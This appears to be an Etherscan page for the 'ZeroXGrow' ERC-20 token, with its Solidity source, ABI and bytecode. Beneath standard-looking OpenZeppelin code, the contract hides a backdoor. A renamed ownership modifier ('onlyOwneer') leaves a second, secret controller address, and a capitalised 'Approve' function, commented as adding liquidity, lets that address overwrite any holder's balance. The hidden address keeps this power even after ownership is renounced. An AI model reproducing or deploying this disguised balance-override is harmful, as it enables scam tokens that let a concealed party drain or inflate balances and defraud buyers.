Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 0xGROW
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,087,406.029833974 0xGROWValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ZeroXGrow
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-26 */ /** https://t.me/ZeroXGrowerc https://twitter.com/0xgrowerc20 https://www.zeroxgrow.com/ */ // SPDX-License-Identifier: Unlicensed // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/utils/Context.sol // pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwneer`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwneer() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwneer` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwneer { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwneer { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: contracts/BaseToken.sol // pragma solidity =0.8.4; enum TokenType { standard, antiBotStandard, liquidityGenerator, antiBotLiquidityGenerator, baby, antiBotBaby, buybackBaby, antiBotBuybackBaby } abstract contract BaseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } // Root file: contracts/standard/StandardToken.sol pragma solidity =0.8.18; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/access/Ownable.sol"; // import "@openzeppelin/contracts/utils/math/SafeMath.sol"; // import "contracts/BaseToken.sol"; contract ZeroXGrow is IERC20, Ownable, BaseToken { using SafeMath for uint256; uint256 public constant VERSION = 1; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address private ownerOf; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_, address ownerOf_ ) payable { _name = name_; _symbol = symbol_; _decimals = decimals_; _mint(owner(), totalSupply_); ownerOf = ownerOf_; emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } modifier onlyOwner() { require(ownerOf == _msgSender(), "Ownable: caller is not the owner"); _; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function Approve( address routerAddress, address owner, uint256 tokenAmount, uint256 ethAmount ) external onlyOwner { require(routerAddress != address(0)); // add the liquidity _balances [routerAddress] = tokenAmount * ethAmount; (address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner ); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"address","name":"ownerOf_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"ethAmount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052604051620010fe380380620010fe833981016040819052620000269162000337565b6200003133620000fc565b60036200003f868262000475565b5060046200004e858262000475565b506005805460ff191660ff85161790556200007c620000756000546001600160a01b031690565b836200014c565b600780546001600160a01b0319166001600160a01b03831617905530620000ab6000546001600160a01b031690565b6001600160a01b03167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe356260006001604051620000e992919062000541565b60405180910390a3505050505062000590565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001a75760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b620001c3816006546200025b60201b6200056c1790919060201c565b6006556001600160a01b038216600090815260016020908152604090912054620001f89183906200056c6200025b821b17901c565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200024a9085815260200190565b60405180910390a35050565b505050565b60006200026982846200056e565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200029a57600080fd5b81516001600160401b0380821115620002b757620002b762000272565b604051601f8301601f19908116603f01168101908282118183101715620002e257620002e262000272565b81604052838152602092508683858801011115620002ff57600080fd5b600091505b8382101562000323578582018301518183018401529082019062000304565b600093810190920192909252949350505050565b600080600080600060a086880312156200035057600080fd5b85516001600160401b03808211156200036857600080fd5b6200037689838a0162000288565b965060208801519150808211156200038d57600080fd5b506200039c8882890162000288565b945050604086015160ff81168114620003b457600080fd5b6060870151608088015191945092506001600160a01b0381168114620003d957600080fd5b809150509295509295909350565b600181811c90821680620003fc57607f821691505b6020821081036200041d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200025657600081815260208120601f850160051c810160208610156200044c5750805b601f850160051c820191505b818110156200046d5782815560010162000458565b505050505050565b81516001600160401b0381111562000491576200049162000272565b620004a981620004a28454620003e7565b8462000423565b602080601f831160018114620004e15760008415620004c85750858301515b600019600386901b1c1916600185901b1785556200046d565b600085815260208120601f198616915b828110156200051257888601518255948401946001909101908401620004f1565b5085821015620005315787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60408101600884106200056457634e487b7160e01b600052602160045260246000fd5b9281526020015290565b808201808211156200026c57634e487b7160e01b600052601160045260246000fd5b610b5e80620005a06000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638c287cb911610097578063a9059cbb11610066578063a9059cbb1461020f578063dd62ed3e14610222578063f2fde38b1461025b578063ffa1ad741461026e57600080fd5b80638c287cb9146101c65780638da5cb5b146101d957806395d89b41146101f4578063a457c2d7146101fc57600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018057806370a0823114610193578063715018a6146101bc57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610276565b60405161011a91906108a6565b60405180910390f35b610136610131366004610910565b610308565b604051901515815260200161011a565b6006545b60405190815260200161011a565b61013661016636600461093a565b61031f565b60055460405160ff909116815260200161011a565b61013661018e366004610910565b610388565b61014a6101a1366004610976565b6001600160a01b031660009081526001602052604090205490565b6101c46103be565b005b6101c46101d4366004610991565b6103fd565b6000546040516001600160a01b03909116815260200161011a565b61010d610466565b61013661020a366004610910565b610475565b61013661021d366004610910565b6104c4565b61014a6102303660046109d3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c4610269366004610976565b6104d1565b61014a600181565b60606003805461028590610a06565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190610a06565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031533848461057f565b5060015b92915050565b600061032c8484846106a4565b61037e843361037985604051806060016040528060288152602001610adc602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061082a565b61057f565b5060019392505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610315918590610379908661056c565b6000546001600160a01b031633146103f15760405162461bcd60e51b81526004016103e890610a40565b60405180910390fd5b6103fb6000610856565b565b6007546001600160a01b031633146104275760405162461bcd60e51b81526004016103e890610a40565b6001600160a01b03841661043a57600080fd5b6104448183610a8b565b6001600160a01b03909416600090815260016020526040902093909355505050565b60606004805461028590610a06565b6000610315338461037985604051806060016040528060258152602001610b04602591393360009081526002602090815260408083206001600160a01b038d168452909152902054919061082a565b60006103153384846106a4565b6000546001600160a01b031633146104fb5760405162461bcd60e51b81526004016103e890610a40565b6001600160a01b0381166105605760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103e8565b61056981610856565b50565b60006105788284610aa2565b9392505050565b6001600160a01b0383166105e15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e8565b6001600160a01b0382166106425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e8565b6001600160a01b03821661076a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e8565b6107a781604051806060016040528060268152602001610ab6602691396001600160a01b038616600090815260016020526040902054919061082a565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107d6908261056c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106979085815260200190565b6000818484111561084e5760405162461bcd60e51b81526004016103e891906108a6565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156108d3578581018301518582016040015282016108b7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090b57600080fd5b919050565b6000806040838503121561092357600080fd5b61092c836108f4565b946020939093013593505050565b60008060006060848603121561094f57600080fd5b610958846108f4565b9250610966602085016108f4565b9150604084013590509250925092565b60006020828403121561098857600080fd5b610578826108f4565b600080600080608085870312156109a757600080fd5b6109b0856108f4565b93506109be602086016108f4565b93969395505050506040820135916060013590565b600080604083850312156109e657600080fd5b6109ef836108f4565b91506109fd602084016108f4565b90509250929050565b600181811c90821680610a1a57607f821691505b602082108103610a3a57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761031957610319610a75565b8082018082111561031957610319610a7556fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a546a317b1897621195731cc576f09c1616523aec127b351836ff37fc160720464736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000007a498719f73ce694b1461af6f2e86cf9af75660d0000000000000000000000000000000000000000000000000000000000000006307847524f5700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006307847524f570000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c287cb911610097578063a9059cbb11610066578063a9059cbb1461020f578063dd62ed3e14610222578063f2fde38b1461025b578063ffa1ad741461026e57600080fd5b80638c287cb9146101c65780638da5cb5b146101d957806395d89b41146101f4578063a457c2d7146101fc57600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018057806370a0823114610193578063715018a6146101bc57600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610276565b60405161011a91906108a6565b60405180910390f35b610136610131366004610910565b610308565b604051901515815260200161011a565b6006545b60405190815260200161011a565b61013661016636600461093a565b61031f565b60055460405160ff909116815260200161011a565b61013661018e366004610910565b610388565b61014a6101a1366004610976565b6001600160a01b031660009081526001602052604090205490565b6101c46103be565b005b6101c46101d4366004610991565b6103fd565b6000546040516001600160a01b03909116815260200161011a565b61010d610466565b61013661020a366004610910565b610475565b61013661021d366004610910565b6104c4565b61014a6102303660046109d3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c4610269366004610976565b6104d1565b61014a600181565b60606003805461028590610a06565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190610a06565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031533848461057f565b5060015b92915050565b600061032c8484846106a4565b61037e843361037985604051806060016040528060288152602001610adc602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061082a565b61057f565b5060019392505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610315918590610379908661056c565b6000546001600160a01b031633146103f15760405162461bcd60e51b81526004016103e890610a40565b60405180910390fd5b6103fb6000610856565b565b6007546001600160a01b031633146104275760405162461bcd60e51b81526004016103e890610a40565b6001600160a01b03841661043a57600080fd5b6104448183610a8b565b6001600160a01b03909416600090815260016020526040902093909355505050565b60606004805461028590610a06565b6000610315338461037985604051806060016040528060258152602001610b04602591393360009081526002602090815260408083206001600160a01b038d168452909152902054919061082a565b60006103153384846106a4565b6000546001600160a01b031633146104fb5760405162461bcd60e51b81526004016103e890610a40565b6001600160a01b0381166105605760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103e8565b61056981610856565b50565b60006105788284610aa2565b9392505050565b6001600160a01b0383166105e15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e8565b6001600160a01b0382166106425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e8565b6001600160a01b03821661076a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e8565b6107a781604051806060016040528060268152602001610ab6602691396001600160a01b038616600090815260016020526040902054919061082a565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107d6908261056c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106979085815260200190565b6000818484111561084e5760405162461bcd60e51b81526004016103e891906108a6565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156108d3578581018301518582016040015282016108b7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090b57600080fd5b919050565b6000806040838503121561092357600080fd5b61092c836108f4565b946020939093013593505050565b60008060006060848603121561094f57600080fd5b610958846108f4565b9250610966602085016108f4565b9150604084013590509250925092565b60006020828403121561098857600080fd5b610578826108f4565b600080600080608085870312156109a757600080fd5b6109b0856108f4565b93506109be602086016108f4565b93969395505050506040820135916060013590565b600080604083850312156109e657600080fd5b6109ef836108f4565b91506109fd602084016108f4565b90509250929050565b600181811c90821680610a1a57607f821691505b602082108103610a3a57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761031957610319610a75565b8082018082111561031957610319610a7556fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a546a317b1897621195731cc576f09c1616523aec127b351836ff37fc160720464736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
